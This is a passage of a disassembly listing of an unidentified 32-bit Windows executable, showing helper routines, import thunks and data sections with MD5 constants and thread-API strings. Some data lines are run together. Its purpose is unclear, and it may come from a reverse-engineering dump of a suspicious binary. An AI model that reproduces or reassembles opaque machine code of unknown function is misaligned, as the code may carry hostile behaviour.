		push	[ebp+var_4C]
		push	[ebp+var_38]
		call	sub_44050C
		add	esp, 14h


loc_445479:				; CODE XREF: sub_44526D+1EDj
					; sub_44526D+1F3j
		cmp	[ebp+var_50], 0
		jz	short loc_44549C
		cmp	[ebp+var_34], 0
		jz	short loc_44549C
		push	44h
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_50]
		push	[ebp+var_34]
		call	sub_44050C
		add	esp, 14h


loc_44549C:				; CODE XREF: sub_44526D+210j
					; sub_44526D+216j
		push	[ebp+var_38]
		call	ds:dword_4495CC
		push	[ebp+var_3C]
		call	ds:dword_4495CC
		push	[ebp+var_34]
		call	ds:dword_4495CC
		movsx	eax, word_54F194
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_441F06
		add	esp, 0Ch


loc_4454CE:				; CODE XREF: sub_44526D+177j
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4454D7:				; CODE XREF: sub_44526D+139j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4454E0:				; CODE XREF: sub_44526D+106j
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4454E9:				; CODE XREF: sub_44526D+AFj
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4454F2:				; CODE XREF: sub_44526D+7Fj
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_54DF34
		mov	eax, dword_54F1AC
		add	eax, dword_54F0A0
		sub	eax, 5
		cmp	ebx, eax
		jz	short $+2


loc_44550E:				; CODE XREF: sub_44526D+2Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44526D	endp


; =============== S U B	R O U T	I N E =======================================



sub_445513	proc near		; DATA XREF: .data:0054F2D8o
		mov	eax, 80004001h
		retn	10h
sub_445513	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_44551C	proc near		; CODE XREF: sub_445539+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_44551D:				; CODE XREF: sub_44551C+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_44551D
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_44551C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445539	proc near		; CODE XREF: sub_440B82+3Ap

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_445569
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_44551C
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_445569:				; CODE XREF: sub_445539+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_445539	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_445578	proc near		; CODE XREF: .text:004381BAp
					; DATA XREF: .data:off_54F000o
		xor	eax, eax
		inc	eax
		retn	0Ch
sub_445578	endp

; ---------------------------------------------------------------------------
		align 10h
		push	eax
		fnstcw	word ptr [esp]
		mov	eax, [esp]
		btr	dword ptr [esp], 8
		or	word ptr [esp],	200h
; START	OF FUNCTION CHUNK FOR sub_4455A3


loc_445592:				; CODE XREF: sub_4455A3+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_445596:				; CODE XREF: .text:004455A1j
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_4455A3
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_445596

; =============== S U B	R O U T	I N E =======================================



sub_4455A3	proc near		; CODE XREF: .text:loc_4381A7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00445592 SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_445592
sub_4455A3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4455B4	proc near		; CODE XREF: sub_4395D8+8p
					; sub_43ADF1+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_4455B5:				; CODE XREF: sub_4455B4+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_4455B5
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_4455B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4455D4	proc near		; CODE XREF: sub_438324+280p
					; sub_438324+910p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_4455D4	endp

; ---------------------------------------------------------------------------
		align 10h
		jmp	dword ptr ds:5510ACh
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44560C	proc near		; CODE XREF: sub_43825C+10p
		jmp	dword ptr ds:5510B0h
sub_44560C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445618	proc near		; CODE XREF: sub_438080+13p
		jmp	dword ptr ds:5510B4h
sub_445618	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445624	proc near		; CODE XREF: sub_4381C3+33p
					; sub_4381C3+45p ...
		jmp	dword ptr ds:5510C0h
sub_445624	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445630	proc near		; CODE XREF: sub_4381C3+Bp
					; sub_4381C3+17p ...
		jmp	dword ptr ds:5510C4h
sub_445630	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
; ---------------------------------------------------------------------------
		jmp	dword ptr ds:5510C8h
; ---------------------------------------------------------------------------
		align 8
		jmp	dword ptr ds:5510CCh
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445654	proc near		; CODE XREF: sub_43825C+4Ep
					; sub_43825C+87p
		jmp	dword ptr ds:5510D0h
sub_445654	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445660	proc near		; CODE XREF: .text:00438186p
		jmp	dword ptr ds:5510D4h
sub_445660	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44566C	proc near		; CODE XREF: sub_4381C3+71p
					; sub_4381C3+86p
		jmp	dword ptr ds:5510D8h
sub_44566C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445678	proc near		; CODE XREF: sub_43825C+9Ep
		jmp	dword ptr ds:5510DCh
sub_445678	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
		dd 25Fh	dup(?)
dword_446000	dd ?							; sub_43C7A3+382w
dword_446004	dd ?							; sub_443A79+14r ...
dword_446008	dd ?							; sub_4404CE+2Ar ...
dword_44600C	dd ?							; sub_43BE84+1B1r ...
dword_446010	dd ?							; sub_43C7A3+F7w
dword_446014	dd ?							; sub_43B508+1Er ...
dword_446018	dd ?							; sub_438324+A84r ...
dword_44601C	dd ?							; sub_44526D+193r
dword_446020	dd ?							; sub_443885+BEw
dword_446024	dd ?							; sub_443E1B+6Bw
dword_446028	dd ?							; sub_43E364+21Er
dword_44602C	dd ?							; sub_43C397+163w ...
dword_446030	dd ?							; sub_43C114+10Cw ...
dword_446034	dd ?							; sub_43ADF1+BEr ...
dword_446038	dd ?							; sub_43C7A3+304w
dword_44603C	dd ?							; sub_43ADF1+266r ...
dword_446040	dd ?							; sub_440FB0+FFr
dword_446044	dd ?		dword_446048	dd ?							; sub_44296E+17r ...
dword_44604C	dd ?							; sub_443885+17Ew
dword_446050	dd ?				dd 3 dup(?)
dword_446060	dd ?				dd 3E7h	dup(?)
dword_447000	dd ?		dword_447004	dd ?							; sub_4440DD+5Ar ...
dword_447008	dd ?							; sub_443885+13Cw
dword_44700C	dd ?							; sub_440B82+2AFr ...
dword_447010	dd ?							; sub_4447F2+3Br
dword_447014	dd ?							; sub_441843+16Bw
dword_447018	dd ?							; sub_444ED7+35Er
dword_44701C	dd ?							; sub_441843+267r ...
dword_447020	dd ?							; sub_43CE88+157r ...
		dd 3E7h	dup(?)
dword_447FC0	dd ?							; sub_443B7F+10Fr
dword_447FC4	dd ?							; sub_444839+1Ar ...
dword_447FC8	dd ?							; sub_43C501+B9r ...
dword_447FCC	dd ?							; sub_43DEC5+18r ...
dword_447FD0	dd ?							; sub_443A79+39r
dword_447FD4	dd ?							; sub_44526D+1A5r
		dd 2 dup(?)
dword_447FE0	dd 40h dup(?)						; sub_44050C+18Co ...
dword_4480E0	dd ?							; sub_43CE88+129r ...
		dd 3E7h	dup(?)
dword_449080	dd ?							; sub_443885+166w
dword_449084	dd ?							; sub_441B74+58r
dword_449088	dd ?							; sub_443B7F+129r
dword_44908C	dd ?		dword_449090	dd ?							; sub_444ED7+21Dr
dword_449094	dd ?							; sub_444250+564r
		dd 2 dup(?)
dword_4490A0	dd 41h dup(?)						; sub_43D41A+105o ...
dword_4491A4	dd ?							; sub_4395D8+812r ...
dword_4491A8	dd ?		dword_4491AC	dd ?							; sub_43BD23+5Ar ...
byte_4491B0	db ?			; DATA XREF: sub_43CE88+A1r
					; sub_43CE88+167r ...
		db 3 dup(?)
		dd 0F9h	dup(?)
dword_449598	dd ?							; sub_43B309+Dr ...
dword_44959C	dd ?							; sub_443885+112w
dword_4495A0	dd ?							; sub_443885+127w
dword_4495A4	dd ?		dword_4495A8	dd ?							; sub_4412D8+139r
dword_4495AC	dd ?							; sub_438324+1082r ...
dword_4495B0	dd ?							; sub_43CCB6+19r
dword_4495B4	dd ?							; sub_43FB17+72w
dword_4495B8	dd ?							; sub_43B508+19o ...
dword_4495BC	dd ?							; sub_43C7A3+3Aw ...
dword_4495C0	dd ?		dword_4495C4	dd ?							; sub_444ED7+2EEw
dword_4495C8	dd ?							; sub_4408C5+51w
dword_4495CC	dd ?							; sub_4395D8+1512r ...
dword_4495D0	dd ?							; sub_43CE88+2Fw ...
dword_4495D4	dd ?							; sub_441B74+78r
		dd 2 dup(?)
dword_4495E0	dd ?							; sub_443B7F+101w ...
		dd 0FFh	dup(?)
dword_4499E0	dd ?							; sub_4440DD+12Aw ...
		dd 5987h dup(?)
dword_460000	dd 0A677h dup(?)dword_4899DC	dd ?		dword_4899E0	dd ?		dword_4899E4	dd ?		dword_4899E8	dd ?							; sub_443885+FDw
dword_4899EC	dd ?							; sub_43C7A3+25w ...
dword_4899F0	dd ?		dword_4899F4	dd ?							; sub_43ECD2+9r
dword_4899F8	dd ?							; sub_43C7A3+2C5w ...
dword_4899FC	dd ?							; sub_43FD1A+71r ...
dword_489A00	dd ?							; sub_43C114+3Fr ...
		dd 3 dup(?)
word_489A10	dw ?			; DATA XREF: sub_43CE88:loc_43CF0Er
					; sub_43CE88:loc_43CF5Fr ...
		dw ?
		dd 1F3h	dup(?)
dword_48A1E0	dd ?							; sub_441843+64w
dword_48A1E4	dd ?							; sub_443885+55w
dword_48A1E8	dd ?							; sub_4408C5+21Fw
dword_48A1EC	dd ?							; sub_4407D3+EBw
dword_48A1F0	dd ?							; sub_441843+6Fw
		dd 3 dup(?)
dword_48A200	dd 5 dup(?)						; sub_441843+103o ...
dword_48A214	dd ?		dword_48A218	dd ?							; sub_43BD23+3Dr ...
dword_48A21C	dd ?							; sub_43C7A3+1F3w
dword_48A220	dd ?							; sub_4440DD+C6r ...
		dd 177Eh dup(?)
dword_49001C	dd 0E880h dup(?)dword_4CA21C	dd ?		dword_4CA220	dd ?							; sub_438324+A6Dr ...
dword_4CA224	dd ?							; sub_44296E+39r ...
dword_4CA228	dd ?							; sub_43C501+81r ...
		dd ?
dword_4CA230	dd 80h dup(?)						; sub_43BD8A+4Fo ...
dword_4CA430	dd ?							; sub_43C7A3+29Bw ...
		dd 3 dup(?)
dword_4CA440	dd 41h dup(?)						; sub_43EF1C+13o ...
dword_4CA544	dd ?							; sub_43C7A3+136w
dword_4CA548	dd ?							; sub_444ED7+385r
		dd ?
dword_4CA550	dd ?							; sub_438324+3D3r ...
dword_4CA554	dd ?							; sub_438324+4C9r ...
dword_4CA558	dd ?							; sub_438324+65Dr ...
dword_4CA55C	dd ?							; sub_438324+990r ...
dword_4CA560	dd ?							; sub_438324+C92r ...
dword_4CA564	dd ?							; sub_438324+CFAr ...
dword_4CA568	dd ?							; sub_438324+E0Cr ...
dword_4CA56C	dd ?							; sub_438324+FDBr ...
dword_4CA570	dd ?							; sub_43FD1A+68Ar
dword_4CA574	dd ?							; sub_43FD1A+6BEr
dword_4CA578	dd ?							; sub_43FD1A+653r
dword_4CA57C	dd ?							; sub_43FD1A+61Cr
		dd 4A4h	dup(?)
dword_4CB810	dd ?							; sub_43C7A3+25Cw
dword_4CB814	dd ?							; sub_4395D8+733r ...
dword_4CB818	dd ?		dword_4CB81C	dd ?							; sub_443885+94w
dword_4CB820	dd ?							; sub_44526D+1B7r
		dd 3 dup(?)
dword_4CB830	dd 41h dup(?)						; sub_43EF1C+2Bo ...
dword_4CB934	dd ?							; sub_4395D8+CB8r ...
dword_4CB938	dd ?							; sub_43C7A3+232w
dword_4CB93C	dd ?							; sub_438324+6CBr ...
dword_4CB940	dd ?							; sub_43DEC5+EEr ...
dword_4CB944	dd ?							; sub_440FB0+241r
dword_4CB948	dd ?							; sub_4395D8+14CEr ...
		dd ?
dword_4CB950	dd ?							; sub_441F06+48Er ...
		dd 3E7h	dup(?)
dword_4CC8F0	dd ?		dword_4CC8F4	dd ?		dword_4CC8F8	dd ?							; sub_43FD1A+65Ar ...
dword_4CC8FC	dd ?							; sub_444ED7+2F9w
dword_4CC900	dd ?							; sub_43CCB6+6Ar ...
dword_4CC904	dd ?							; sub_443885+7Fw
dword_4CC908	dd ?							; sub_444ED7+FFr ...
dword_4CC90C	dd ?							; sub_43ECD2+148r ...
dword_4CC910	dd ?							; sub_43C7A3+21Dw ...
dword_4CC914	dd ?							; sub_438324+1054r ...
dword_4CC918	dd ?							; sub_440FB0:loc_441104r
		dd ?
dword_4CC920	dd ?							; sub_4440DD+D4r ...
		dd 0FFFEh dup(?)
dword_50C91C	dd ?							; sub_44296E+E08r
dword_50C920	dd ?							; sub_444ED7+18Er
dword_50C924	dd ?							; sub_43BE1F+54r ...
dword_50C928	dd ?							; sub_438324+C64r ...
dword_50C92C	dd ?							; sub_444ED7+313w ...
dword_50C930	dd ?							; sub_4408C5+A5w ...
dword_50C934	dd ?							; sub_440B82+289r
dword_50C938	dd ?							; sub_43FD1A+2E9r ...
dword_50C93C	dd ?							; sub_439556+32r ...
dword_50C940	dd ?							; sub_43C397+79w
		dd 3 dup(?)
dword_50C950	dd ?							; sub_4440DD+131w ...
		dd 0FFFEh dup(?)
dword_54C94C	dd ?							; sub_443B7F+8Cr
dword_54C950	dd ?							; sub_4408C5+18Cw
dword_54C954	dd ?							; sub_4408C5+20Aw
dword_54C958	dd ?							; sub_43FD1A+5B9r ...
dword_54C95C	dd ?							; sub_43DEC5+79r ...
dword_54C960	dd ?							; sub_43C7A3+2DAw ...
dword_54C964	dd ?							; sub_43E77A+93r ...
dword_54C968	dd ?							; sub_43DA48+2Dr ...
		dd ?
dword_54C970	dd 40h dup(?)						; sub_441843+17Bo ...
dword_54CA70	dd ?							; sub_44050C+9r ...
dword_54CA74	dd ?							; sub_441522+217w ...
dword_54CA78	dd ?							; sub_43C7A3+160w ...
		dd ?
dword_54CA80	dd ?							; sub_441522+C7w ...
		dd 8 dup(?)
dword_54CAA4	dd ?		dword_54CAA8	dd ?				dd ?
dword_54CAB0	dd ?							; sub_441522+19Cw
		dd ?
dword_54CAB8	dd ?							; sub_441522+15Dw
		dd ?
dword_54CAC0	dd ?							; sub_441522+43w ...
		dd 2 dup(?)
dword_54CACC	dd ?				dd 3 dup(?)
dword_54CADC	dd ?				dd 3 dup(?)
dword_54CAEC	dd ?				dd ?
dword_54CAF4	dd ?		dword_54CAF8	dd ?				dd ?
dword_54CB00	dd ?							; sub_444ED7+354r
		dd 3 dup(?)
byte_54CB10	db ?			; DATA XREF: sub_43C501+F8w
					; sub_43C501+135o ...
		db 3 dup(?)
		dd 3FFh	dup(?)
dword_54DB10	dd ?							; sub_43C7A3+E2w ...
dword_54DB14	dd ?							; sub_43F803+Er ...
dword_54DB18	dd ?							; sub_4395D8+149Ar ...
dword_54DB1C	dd ?							; sub_4440DD+9Dr ...
dword_54DB20	dd ?							; sub_443B7F+6Br ...
		dd 0FEh	dup(?)
dword_54DF1C	dd ?							; sub_43BD8A+85r ...
dword_54DF20	dd ?							; sub_43CBAF+3Ar ...
		dd ?
dword_54DF28	dd ?							; sub_44122A+28r ...
dword_54DF2C	dd ?							; sub_43ECD2+39r
dword_54DF30	dd ?							; sub_43D41A+1EDr ...
dword_54DF34	dd ?							; sub_440B82+2D4r ...
dword_54DF38	dd ?							; sub_43FD1A+13Cr ...
dword_54DF3C	dd ?							; sub_43953F+Er ...
byte_54DF40	db ?			; DATA XREF: sub_43D98E:loc_43DA07r
					; sub_440E73+44o
		db 3 dup(?)
		dd 3Fh dup(?)
dword_54E040	dd ?							; sub_4395D8+894r ...
dword_54E044	dd ?							; sub_444E05+90w
dword_54E048	dd ?				dd ?
dword_54E050	dd 6Ch dup(?)						; sub_43AAF7+60o ...
_text		ends

; Section 5. (virtual address 0014F000)
; Virtual size			: 00001C00 (   7168.)
; Section size in file		: 00001C00 (   7168.)
; Offset to raw	data for section: 00023200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 54F000h
off_54F000	dd offset sub_445578	; DATA XREF: .text:004381B5r
dword_54F004	dd 0							; sub_4381C3+64r
dword_54F008	dd 0		dword_54F00C	dd 0							; sub_4381C3:loc_43823Cr
dword_54F010	dd 0				align 8
		dd 7325h
aWr:					; DATA XREF: sub_4381C3+3Do
					; sub_4381C3+4Fo ...
		unicode	0, <wr>,0
		align 4
		dd 4 dup(0)
dword_54F034	dd 0		dword_54F038	dd 0							; .text:00438117r ...
dword_54F03C	dd 0		dword_54F040	dd 14h dup(0)						; .text:0043811Fo
dword_54F090	dd 4							; sub_438324+1F1r ...
word_54F094	dw 2			; DATA XREF: sub_438324:loc_438384r
					; sub_4395D8+1BAr ...
		align 4
dword_54F098	dd 9							; sub_438324+BD1r ...
word_54F09C	dw 6			; DATA XREF: sub_43BE84+145r
					; sub_43E364+244r ...
		align 10h
dword_54F0A0	dd 3							; sub_438324+853r ...
dword_54F0A4	dd 7							; sub_438324+9F9r ...
word_54F0A8	dw 0			; DATA XREF: sub_438324+178r
					; sub_4395D8+1255r ...
		align 4
dword_54F0AC	dd 7							; sub_438324+42Cr ...
dword_54F0B0	dd 5							; sub_43CCB6+2Cr ...
word_54F0B4	dw 5			; DATA XREF: sub_438324+1AEr
					; sub_4395D8+C28r ...
		align 4
dword_54F0B8	dd 4							; sub_4395D8+A93r ...
dword_54F0BC	dd 0							; sub_438324+7E4r ...
dword_54F0C0	dd 2							; sub_4395D8+9A9r ...
word_54F0C4	dw 6			; DATA XREF: sub_438324+138r
					; sub_438324+306r ...
		align 4
dword_54F0C8	dd 1							; sub_438324+2D9r ...
word_54F0CC	dw 1			; DATA XREF: sub_438324+343r
					; sub_438324+A5Ar ...
		align 10h
word_54F0D0	dw 6			; DATA XREF: sub_43946B+2Fr
					; sub_4395D8+18Fr ...
		align 4
dword_54F0D4	dd 5							; sub_438324+E4Fr ...
dword_54F0D8	dd 6							; sub_438324+EBDr ...
dword_54F0DC	dd 4							; sub_43D090+2BEr ...
dword_54F0E0	dd 6							; sub_438324+A64r ...
dword_54F0E4	dd 5							; sub_43ABE6+90r ...
dword_54F0E8	dd 1							; sub_43ADF1+226r ...
dword_54F0EC	dd 1							; sub_4395D8+831r ...
dword_54F0F0	dd 3							; sub_4395D8+6F0r ...
word_54F0F4	dw 2			; DATA XREF: sub_438324+377r
					; sub_4395D8+EBFr ...
		align 4
word_54F0F8	dw 5			; DATA XREF: sub_438324+5FAr
					; sub_438324+6C0r ...
		align 4
word_54F0FC	dw 2			; DATA XREF: sub_438324+692r
					; sub_438324+6FDr ...
		align 10h
dword_54F100	dd 9							; sub_43B3AD+B0r ...
word_54F104	dw 0			; DATA XREF: sub_438324+756r
					; sub_4395D8+8CFr ...
		align 4
dword_54F108	dd 8							; sub_43ADF1+11Fr ...
dword_54F10C	dd 2							; sub_438324+B03r ...
dword_54F110	dd 9							; sub_4395D8+126Cr ...
dword_54F114	dd 1							; sub_43B0C6:loc_43B120r ...
word_54F118	dw 8			; DATA XREF: sub_438324+B7Br
					; sub_43ABE6+1CEr ...
		align 4
dword_54F11C	dd 2							; sub_438324+C76r ...
dword_54F120	dd 8							; sub_438324+A49r ...
dword_54F124	dd 2							; sub_438324+EA3r ...
word_54F128	dw 5			; DATA XREF: sub_438324+1C8r
					; sub_438324+2ABr ...
		align 4
dword_54F12C	dd 8							; sub_4395D8+4EDr ...
dword_54F130	dd 1							; sub_438324+F17r ...
dword_54F134	dd 2							; sub_4395D8+4BFr ...
word_54F138	dw 3			; DATA XREF: sub_438324:loc_43870Fr
					; sub_438324+664r ...
		align 4
word_54F13C	dw 9			; DATA XREF: sub_438324+18Cr
					; sub_438324+54Dr ...
		align 10h
dword_54F140	dd 1							; sub_438324+3BFr ...
word_54F144	dw 4			; DATA XREF: sub_438324+10Ar
					; sub_438324+24Er ...
		align 4
word_54F148	dw 1			; DATA XREF: sub_438324+687r
					; sub_438324+710r ...
		align 4
dword_54F14C	dd 2							; sub_4395D8+81Er ...
dword_54F150	dd 4							; sub_4395D8+1155r ...
dword_54F154	dd 8							; sub_438324+327r ...
dword_54F158	dd 3							; sub_438324+B0Dr ...
dword_54F15C	dd 4							; sub_43BE84+ECr ...
dword_54F160	dd 7							; sub_438324+B8Er ...
word_54F164	dw 1			; DATA XREF: sub_438324+A3Br
					; sub_4395D8:loc_43A174r ...
		align 4
dword_54F168	dd 2							; sub_438324+E39r ...
dword_54F16C	dd 5							; sub_4395D8+28Br ...
dword_54F170	dd 4							; sub_438324:loc_438625r ...
dword_54F174	dd 7							; sub_438324+7DAr ...
dword_54F178	dd 9							; sub_43B0C6:loc_43B0DDr ...
dword_54F17C	dd 7							; sub_438324+C71r ...
dword_54F180	dd 0							; sub_438324+C2Fr ...
dword_54F184	dd 4							; sub_4395D8+5C2r ...
dword_54F188	dd 5							; sub_4395D8+163r ...
dword_54F18C	dd 1							; sub_4395D8+925r ...
word_54F190	dw 8			; DATA XREF: sub_438324+F64r
					; sub_4395D8+590r ...
		align 4
word_54F194	dw 1			; DATA XREF: sub_438324+519r
					; sub_438324+BE1r ...
		align 4
word_54F198	dw 1			; DATA XREF: sub_438324+1F9r
					; sub_438324:loc_438671r ...
		align 4
dword_54F19C	dd 4							; sub_438324+7C5r ...
dword_54F1A0	dd 8							; sub_4395D8+11EDr ...
word_54F1A4	dw 6			; DATA XREF: sub_438324:loc_438701r
					; sub_438324+9A7r ...
		align 4
word_54F1A8	dw 0			; DATA XREF: sub_438324+D15r
					; sub_4395D8+56r ...
		align 4
dword_54F1AC	dd 2							; sub_438324+233r ...
dword_54F1B0	dd 7							; sub_4395D8+E54r ...
dword_54F1B4	dd 4							; sub_439556:loc_4395C2r ...
dword_54F1B8	dd 4							; sub_43B76D+14Br ...
dword_54F1BC	dd 6							; sub_438324+AF8r ...
dword_54F1C0	dd 1							; sub_438324+B75r ...
word_54F1C4	dw 8			; DATA XREF: sub_438324+432r
					; sub_438324+9F2r ...
		align 4
dword_54F1C8	dd 8							; sub_43AAF7+C1r ...
word_54F1CC	dw 9			; DATA XREF: sub_438324+717r
					; sub_438324+AF1r ...
		align 10h
dword_54F1D0	dd 7							; sub_43B0C6+73r ...
dword_54F1D4	dd 8							; sub_438324+997r ...
dword_54F1D8	dd 4							; sub_4395D8+11DDr ...
dword_54F1DC	dd 0							; sub_438324+E49r ...
dword_54F1E0	dd 4							; sub_438324+59Er ...
dword_54F1E4	dd 4							; sub_438324+899r ...
word_54F1E8	dw 7			; DATA XREF: sub_438324+AC1r
					; sub_4395D8+F69r ...
		align 4
dword_54F1EC	dd 3							; sub_4395D8+12DDr ...
word_54F1F0	dw 6			; DATA XREF: sub_438324+520r
					; sub_43ABE6+D4r ...
		align 4
dword_54F1F4	dd 9							; sub_4395D8+296r ...
dword_54F1F8	dd 3							; sub_4395D8+93Ar ...
dword_54F1FC	dd 0							; sub_438324+2C6r ...
dword_54F200	dd 5							; sub_438324+BC1r ...
dword_54F204	dd 2							; sub_438324+7BBr ...
word_54F208	dw 1			; DATA XREF: sub_438324+F4r
					; sub_438324+CD4r ...
		align 4
dword_54F20C	dd 4							; sub_438324+8E8r ...
word_54F210	dw 5			; DATA XREF: sub_438324+238r
					; sub_438324+440r ...
		align 4
dword_54F214	dd 3							; sub_438324+886r ...
word_54F218	dw 0			; DATA XREF: sub_438324+193r
					; sub_43C284+F3r ...
		align 4
dword_54F21C	dd 4							; sub_43C114+C0r ...
dword_54F220	dd 2							; sub_438324+630r ...
dword_54F224	dd 1							; sub_43B535+8Ar ...
dword_54F228	dd 8							; sub_438324+7A9r ...
dword_54F22C	dd 7							; sub_438324+BCAr ...
dword_54F230	dd 1							; sub_438324+F47r ...
dword_54F234	dd 8							; sub_438324+8BAr ...
dword_54F238	dd 0							; sub_438324+3AAr ...
dword_54F23C	dd 0							; sub_4395D8+11C6r ...
word_54F240	dw 8			; DATA XREF: sub_438324+ABAr
					; sub_4395D8+1032r ...
		align 4
word_54F244	dw 7			; DATA XREF: sub_4395D8+B63r
					; sub_4395D8+12B9r ...
		align 4
dword_54F248	dd 4							; sub_4395D8+51r ...
dword_54F24C	dd 9							; sub_438324+D4Dr ...
dword_54F250	dd 0							; sub_43AAF7+1Ew ...
dword_54F254	dd 0							; sub_43B76D+26Ar ...
dword_54F258	dd 0							; sub_43C397+20r ...
dword_54F25C	dd 0							; sub_4408C5+22r ...
dword_54F260	dd 0							; sub_441272+20r ...
dword_54F264	dd 0							; sub_4407D3+26r ...
dword_54F268	dd 0							; sub_444E05+22r ...
dword_54F26C	dd 0							; sub_43FB17+13w ...
dword_54F270	dd 0							; sub_443E1B+13w ...
dword_54F274	dd 0							; sub_43B309+29r ...
dword_54F278	dd 0							; sub_443885+26r ...
dword_54F27C	dd 0							; sub_43BD23+29r ...
dword_54F280	dd 0							; sub_43CBF8+20r ...
dword_54F284	dd 0							; sub_44122A+37w ...
dword_54F288	dd 0							; sub_43DA48+24r ...
dword_54F28C	dd 0							; sub_43ECD2+11Fw ...
dword_54F290	dd 0E860h, 0E9610000h, 2 dup(0)dword_54F2A0	dd 0							; sub_43D090+350w ...
dword_54F2A4	dd 0							; sub_4404CE:loc_4404FFr ...
off_54F2A8	dd offset sub_43DA81	; DATA XREF: sub_441F06+689o
		dd offset sub_43F803
		dd offset sub_43FA78
		dd offset sub_43C79B
		dd offset sub_44387D
		dd offset sub_441E26
		dd offset sub_43CE88
dword_54F2C4	dd 0							; sub_440B82+160r ...
off_54F2C8	dd offset sub_439556	; DATA XREF: .data:off_54F2E4o
		dd offset sub_43953F
		dd offset sub_43B4E1
		dd offset sub_43B713
		dd offset sub_445513
		dd offset sub_4412D0
		dd offset sub_4394E9
off_54F2E4	dd offset off_54F2C8	; DATA XREF: sub_43C652+C0o
					; sub_441B74+144o
dword_54F2E8	dd 0							; sub_43C652+72r ...
off_54F2EC	dd offset sub_443D93	; DATA XREF: .data:off_54F308o
		dd offset sub_4437CA
		dd offset sub_43B508
		dd offset sub_44178D
		dd offset sub_439537
		dd offset sub_43C27C
		dd offset sub_43C652
off_54F308	dd offset off_54F2EC	; DATA XREF: sub_441B74:loc_441D34o
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_43DFC1+2C9o
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_43DFC1+2DCo
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_43DFC1+300o
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_43DFC1+313o
		align 10h
dword_54F360	dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh
					; DATA XREF: sub_43F052+2Fo
		dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh
